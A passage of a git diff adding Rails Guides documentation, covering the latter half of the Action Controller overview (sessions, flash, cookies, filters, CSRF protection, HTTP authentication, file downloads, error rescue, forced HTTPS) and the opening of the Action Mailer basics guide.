+<ruby>
+class ApplicationController < ActionController::Base
+  def default_url_options
+    {:locale => I18n.locale}
+  end
+end
+</ruby>
+
+These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed in +url_for+ calls.
+
+If you define +default_url_options+ in +ApplicationController+, as in the example above, it would be used for all URL generation. The method can also be defined in one specific controller, in which case it only affects URLs generated there.
+
+
+h3. Session
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+* ActionDispatch::Session::CookieStore - Stores everything on the client.
+* ActiveRecord::SessionStore - Stores the data in a database using Active Record.
+* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache.
+* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
+
+All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+
+For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
+
+The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
+
+Read more about session storage in the "Security Guide":security.html.
+
+If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
+
+<ruby>
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "script/rails g session_migration")
+# YourApp::Application.config.session_store :active_record_store
+</ruby>
+
+Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
+
+<ruby>
+# Be sure to restart your server when you modify this file.
+
+YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session'
+</ruby>
+
+You can also pass a +:domain+ key and specify the domain name for the cookie:
+
+<ruby>
+# Be sure to restart your server when you modify this file.
+
+YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session', :domain => ".example.com"
+</ruby>
+
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in +config/initializers/secret_token.rb+
+
+<ruby>
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...'
+</ruby>
+
+NOTE: Changing the secret when using the +CookieStore+ will invalidate all existing sessions.
+
+h4. Accessing the Session
+
+In your controller you can access the session through the +session+ instance method.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+
+Session values are stored using key/value pairs like a hash:
+
+<ruby>
+class ApplicationController < ActionController::Base
+
+  private
+
+  # Finds the User with the ID stored in the session with the key
+  # :current_user_id This is a common way to handle user login in
+  # a Rails application; logging in sets the session value and
+  # logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] &&
+      User.find_by_id(session[:current_user_id])
+  end
+end
+</ruby>
+
+To store something in the session, just assign it to the key like a hash:
+
+<ruby>
+class LoginsController < ApplicationController
+  # "Create" a login, aka "log the user in"
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # Save the user ID in the session so it can be used in
+      # subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+</ruby>
+
+To remove something from the session, assign that key to be +nil+:
+
+<ruby>
+class LoginsController < ApplicationController
+  # "Delete" a login, aka "log the user out"
+  def destroy
+    # Remove the user id from the session
+    @_current_user = session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+</ruby>
+
+To reset the entire session, use +reset_session+.
+
+h4. The Flash
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+<ruby>
+class LoginsController < ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out"
+    redirect_to root_url
+  end
+end
+</ruby>
+
+Note it is also possible to assign a flash message as part of the redirection.
+
+<ruby>
+redirect_to root_url, :notice => "You have successfully logged out"
+</ruby>
+
+
+The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:
+
+<ruby>
+<html>
+  <!-- <head/> -->
+  <body>
+    <% if flash[:notice] %>
+      <p class="notice"><%= flash[:notice] %></p>
+    <% end %>
+    <% if flash[:error] %>
+      <p class="error"><%= flash[:error] %></p>
+    <% end %>
+    <!-- more content -->
+  </body>
+</html>
+</ruby>
+
+This way, if an action sets an error or a notice message, the layout will display it automatically.
+
+If you want a flash value to be carried over to another request, use the +keep+ method:
+
+<ruby>
+class MainController < ApplicationController
+  # Let's say this action corresponds to root_url, but you want
+  # all requests here to be redirected to UsersController#index.
+  # If an action sets the flash and redirects here, the values
+  # would normally be lost when another redirect happens, but you
+  # can use 'keep' to make it persist for another request.
+  def index
+    # Will persist all flash values.
+    flash.keep
+
+    # You can also use a key to keep only some kind of value.
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+</ruby>
+
+h5. +flash.now+
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+:
+
+<ruby>
+class ClientsController < ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render :action => "new"
+    end
+  end
+end
+</ruby>
+
+h3. Cookies
+
+Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash:
+
+<ruby>
+class CommentsController < ApplicationController
+  def new
+    # Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(:name => cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # Remember the commenter's name.
+        cookies[:commenter_name] = @comment.name
+      else
+        # Delete cookie for the commenter's name cookie, if any.
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render :action => "new"
+    end
+  end
+end
+</ruby>
+
+Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+.
+
+h3. Rendering xml and json data
+
+ActionController makes it extremely easy to render +xml+ or +json+ data. If you generate a controller using scaffold then your controller would look something like this.
+
+<ruby>
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    respond_to do |format|
+      format.html # index.html.erb
+      format.xml  { render :xml => @users}
+      format.json { render :json => @users}
+    end
+  end
+end
+</ruby>
+
+Notice that in the above case code is <tt>render :xml => @users</tt> and not <tt>render :xml => @users.to_xml</tt>. That is because if the input is not string then rails automatically invokes +to_xml+ .
+
+
+h3. Filters
+
+Filters are methods that are run before, after or "around" a controller action.
+
+Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application.
+
+Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  before_filter :require_login
+
+  private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+
+  # The logged_in? method simply returns true if the user is logged
+  # in and false otherwise. It does this by "booleanizing" the
+  # current_user method we created previously using a double ! operator.
+  # Note that this is not common in Ruby and is discouraged unless you
+  # really mean to convert something into true or false.
+  def logged_in?
+    !!current_user
+  end
+end
+</ruby>
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled.
+
+In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+:
+
+<ruby>
+class LoginsController < ApplicationController
+  skip_before_filter :require_login, :only => [:new, :create]
+end
+</ruby>
+
+Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+h4. After Filters and Around Filters
+
+In addition to before filters, you can also run filters after an action has been executed, or both before and after.
+
+After filters are similar to before filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, after filters cannot stop the action from running.
+
+Around filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
+
+For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
+
+<ruby>
+class ChangesController < ActionController::Base
+  around_filter :wrap_in_transaction, :only => :show
+
+  private
+
+  def wrap_in_transaction
+    ActiveRecord::Base.transaction do
+      begin
+        yield
+      ensure
+        raise ActiveRecord::Rollback
+      end
+    end
+  end
+end
+</ruby>
+
+Note that an around filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.
+
+You can choose not to yield and build the response yourself, in which case the action will not be run.
+
+h4. Other Ways to Use Filters
+
+While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  before_filter do |controller|
+    redirect_to new_login_url unless controller.send(:logged_in?)
+  end
+end
+</ruby>
+
+Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  before_filter LoginFilter
+end
+
+class LoginFilter
+  def self.filter(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = "You must be logged in"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+</ruby>
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action.
+
+h3. Request Forgery Protection
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+
+The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+
+The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+<ruby>
+<%= form_for @user do |f| %>
+  <%= f.text_field :username %>
+  <%= f.text_field :password %>
+<% end %>
+</ruby>
+
+You will see how the token gets added as a hidden field:
+
+<html>
+<form accept-charset="UTF-8" action="/users/1" method="post">
+<input type="hidden"
+       value="67250ab105eb5ad10851c00a5621854a23af5489"
+       name="authenticity_token"/>
+<!-- fields -->
+</form>
+</html>
+
+Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+:
+
+The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+
+The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+h3. The Request and Response Objects
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client.
+
+h4. The +request+ Object
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionDispatch/Request.html. Among the properties that you can access on this object are:
+
+|_.Property of +request+|_.Purpose|
+|host|The hostname used for this request.|
+|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).|
+|format|The content type requested by the client.|
+|method|The HTTP method used for the request.|
+|get?, post?, patch?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.|
+|headers|Returns a hash containing the headers associated with the request.|
+|port|The port number (integer) used for the request.|
+|protocol|Returns a string containing the protocol used plus "://", for example "http://".|
+|query_string|The query string part of the URL, i.e., everything after "?".|
+|remote_ip|The IP address of the client.|
+|url|The entire URL used for the request.|
+
+h5. +path_parameters+, +query_parameters+, and +request_parameters+
+
+Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.
+
+h4. The +response+ Object
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+|_.Property of +response+|_.Purpose|
+|body|This is the string of data being sent back to the client. This is most often HTML.|
+|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.|
+|location|The URL the client is being redirected to, if any.|
+|content_type|The content type of the response.|
+|charset|The character set being used for the response. Default is "utf-8".|
+|headers|Headers used for the response.|
+
+h5. Setting Custom Headers
+
+If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
+
+<ruby>
+response.headers["Content-Type"] = "application/pdf"
+</ruby>
+
+h3. HTTP Authentications
+
+Rails comes with two built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+
+h4. HTTP Basic Authentication
+
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +http_basic_authenticate_with+.
+
+<ruby>
+class AdminController < ApplicationController
+  http_basic_authenticate_with :name => "humbaba", :password => "5baa61e4"
+end
+</ruby>
+
+With this in place, you can create namespaced controllers that inherit from +AdminController+. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+
+h4. HTTP Digest Authentication
+
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
+
+<ruby>
+class AdminController < ApplicationController
+  USERS = { "lifo" => "world" }
+
+  before_filter :authenticate
+
+  private
+
+  def authenticate
+    authenticate_or_request_with_http_digest do |username|
+      USERS[username]
+    end
+  end
+end
+</ruby>
+
+As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
+
+h3. Streaming and File Downloads
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use +send_data+:
+
+<ruby>
+require "prawn"
+class ClientsController < ApplicationController
+  # Generates a PDF document with information on the client and
+  # returns it. The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data generate_pdf(client),
+              :filename => "#{client.name}.pdf",
+              :type => "application/pdf"
+  end
+
+  private
+
+  def generate_pdf(client)
+    Prawn::Document.new do
+      text client.name, :align => :center
+      text "Address: #{client.address}"
+      text "Email: #{client.email}"
+    end.render
+  end
+end
+</ruby>
+
+The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
+
+h4. Sending Files
+
+If you want to send a file that already exists on disk, use the +send_file+ method.
+
+<ruby>
+class ClientsController < ApplicationController
+  # Stream a file that has already been generated and stored on disk.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+              :filename => "#{client.name}.pdf",
+              :type => "application/pdf")
+  end
+end
+</ruby>
+
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
+
+If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used.
+
+WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+h4. RESTful Downloads
+
+While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
+
+<ruby>
+class ClientsController < ApplicationController
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render :pdf => generate_pdf(@client) }
+    end
+  end
+end
+</ruby>
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
+
+<ruby>
+Mime::Type.register "application/pdf", :pdf
+</ruby>
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+<shell>
+GET /clients/1.pdf
+</shell>
+
+h3. Parameter Filtering
+
+Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
+
+<ruby>
+config.filter_parameters << :password
+</ruby>
+
+h3. Rescue
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
+
+Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
+
+h4. The Default 500 and 404 Templates
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+h4. +rescue_from+
+
+If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object.
+
+Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
+
+<ruby>
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
+
+  private
+
+  def record_not_found
+    render :text => "404 Not Found", :status => 404
+  end
+end
+</ruby>
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, :with => :user_not_authorized
+
+  private
+
+  def user_not_authorized
+    flash[:error] = "You don't have access to this section."
+    redirect_to :back
+  end
+end
+
+class ClientsController < ApplicationController
+  # Check that the user has the right authorization to access clients.
+  before_filter :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+  private
+
+  # If the user is not authorized, just throw the exception.
+  def check_authorization
+    raise User::NotAuthorized unless current_user.admin?
+  end
+end
+</ruby>
+
+NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
+
+h3. Force HTTPS protocol
+
+Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that:
+
+<ruby>
+class DinnerController
+  force_ssl
+end
+</ruby>
+
+Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions.
+
+<ruby>
+class DinnerController
+  force_ssl :only => :cheeseburger
+  # or
+  force_ssl :except => :cheeseburger
+end
+</ruby>
+
+Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file.
diff --git a/guides/source/action_mailer_basics.textile b/guides/source/action_mailer_basics.textile
new file mode 100644
index 0000000000..abfa68b76d
--- /dev/null
+++ b/guides/source/action_mailer_basics.textile
@@ -0,0 +1,549 @@
+h2. Action Mailer Basics
+
+This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers.
+
+endprologue.
+
+WARNING. This guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails.
+
+h3. Introduction
+
+Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+.
+
+h3. Sending Emails
+
+This section will provide a step-by-step guide to creating a mailer and its views.
+
+h4. Walkthrough to Generating a Mailer
+
+h5. Create the Mailer
+
+<shell>
+$ rails generate mailer UserMailer
+create  app/mailers/user_mailer.rb
+invoke  erb
+create    app/views/user_mailer
+invoke  test_unit
+create    test/functional/user_mailer_test.rb
+</shell>
+
+So we got the mailer, the views, and the tests.
+
+h5. Edit the Mailer
+
++app/mailers/user_mailer.rb+ contains an empty mailer:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  default :from => "from@example.com"
+end
+</ruby>
+
+Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  default :from => "notifications@example.com"
+
+  def welcome_email(user)
+    @user = user
+    @url  = "http://example.com/login"
+    mail(:to => user.email, :subject => "Welcome to My Awesome Site")
+  end
+end
+</ruby>
+
+Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section.
+
+* <tt>default Hash</tt> - This is a hash of default values for any email you send, in this case we are setting the <tt>:from</tt> header to a value for all messages in this class, this can be overridden on a per email basis
+* +mail+ - The actual email message, we are passing the <tt>:to</tt> and <tt>:subject</tt> headers in.
+
+Just like controllers, any instance variables we define in the method become available for use in the views.
+
+h5. Create a Mailer View
+
+Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
+
+<erb>
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+  </head>
+  <body>
+    <h1>Welcome to example.com, <%= @user.name %></h1>
+    <p>
+      You have successfully signed up to example.com,
+      your username is: <%= @user.login %>.<br/>
+    </p>
+    <p>
+      To login to the site, just follow this link: <%= @url %>.
+    </p>
+    <p>Thanks for joining and have a great day!</p>
+  </body>
+</html>
+</erb>
+
+It is also a good idea to make a text part for this email. To do this, create a file called +welcome_email.text.erb+ in +app/views/user_mailer/+:
+
+<erb>
+Welcome to example.com, <%= @user.name %>
+===============================================
+
+You have successfully signed up to example.com,
+your username is: <%= @user.login %>.
+
+To login to the site, just follow this link: <%= @url %>.
+
+Thanks for joining and have a great day!
+</erb>
+
+When you call the +mail+ method now, Action Mailer will detect the two templates (text and HTML) and automatically generate a <tt>multipart/alternative</tt> email.
+
+h5. Wire It Up So That the System Sends the Email When a User Signs Up
+
+There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created.
+
+Setting this up is painfully simple.
+
+First off, we need to create a simple +User+ scaffold:
+
+<shell>
+$ rails generate scaffold user name:string email:string login:string
+$ rake db:migrate
+</shell>
+
+Now that we have a user model to play with, we will just edit the +app/controllers/users_controller.rb+ make it instruct the UserMailer to deliver an email to the newly created user by editing the create action and inserting a call to <tt>UserMailer.welcome_email</tt> right after the user is successfully saved:
+
+<ruby>
+class UsersController < ApplicationController
+  # POST /users
+  # POST /users.json
+  def create
+    @user = User.new(params[:user])
+
+    respond_to do |format|
+      if @user.save
+        # Tell the UserMailer to send a welcome Email after save
+        UserMailer.welcome_email(@user).deliver
+
+        format.html { redirect_to(@user, :notice => 'User was successfully created.') }
+        format.json { render :json => @user, :status => :created, :location => @user }
+      else
+        format.html { render :action => "new" }
+        format.json { render :json => @user.errors, :status => :unprocessable_entity }
+      end
+    end
+  end
+end
+</ruby>
+
+This provides a much simpler implementation that does not require the registering of observers and the like.
+
+The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out.
+
+NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself.
+
+WARNING: Sending out an email should only take a fraction of a second. If you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job.
+
+h4. Auto encoding header values
+
+Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies.
+
+If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII.
+
+For more complex examples such as defining alternate character sets or self-encoding text first, please refer to the Mail library.
+
+h4. Complete List of Action Mailer Methods
+
+There are just three methods that you need to send pretty much any email message:
+
+* <tt>headers</tt> - Specifies any header on the email you want. You can pass a hash of header field names and value pairs, or you can call <tt>headers[:field_name] = 'value'</tt>.
+* <tt>attachments</tt> - Allows you to add attachments to your email. For example, <tt>attachments['file-name.jpg'] = File.read('file-name.jpg')</tt>.
+* <tt>mail</tt> - Sends the actual email itself. You can pass in headers as a hash to the mail method as a parameter, mail will then create an email, either plain text, or multipart, depending on what email templates you have defined.
+
+h5. Custom Headers
+
+Defining custom headers are simple, you can do it one of three ways:
+
+* Defining a header field as a parameter to the +mail+ method:
+
+<ruby>
+mail("X-Spam" => value)
+</ruby>
+
+* Passing in a key value assignment to the +headers+ method:
+
+<ruby>
+headers["X-Spam"] = value
+</ruby>
+
+* Passing a hash of key value pairs to the +headers+ method:
+
+<ruby>
+headers {"X-Spam" => value, "X-Special" => another_value}
+</ruby>
+
+TIP: All <tt>X-Value</tt> headers per the RFC2822 can appear more than once. If you want to delete an <tt>X-Value</tt> header, you need to assign it a value of <tt>nil</tt>.
+
+h5. Adding Attachments
+
+Adding attachments has been simplified in Action Mailer 3.0.
+
+* Pass the file name and content and Action Mailer and the Mail gem will automatically guess the mime_type, set the encoding and create the attachment.
+
+<ruby>
+attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+</ruby>
+
+NOTE: Mail will automatically Base64 encode an attachment. If you want something different, pre-encode your content and pass in the encoded content and encoding in a +Hash+ to the +attachments+ method.
+
+* Pass the file name and specify headers and content and Action Mailer and Mail will use the settings you pass in.
+
+<ruby>
+encoded_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+attachments['filename.jpg'] = {:mime_type => 'application/x-gzip',
+                               :encoding => 'SpecialEncoding',
+                               :content => encoded_content }
+</ruby>
+
+NOTE: If you specify an encoding, Mail will assume that your content is already encoded and not try to Base64 encode it.
+
+h5. Making Inline Attachments
+
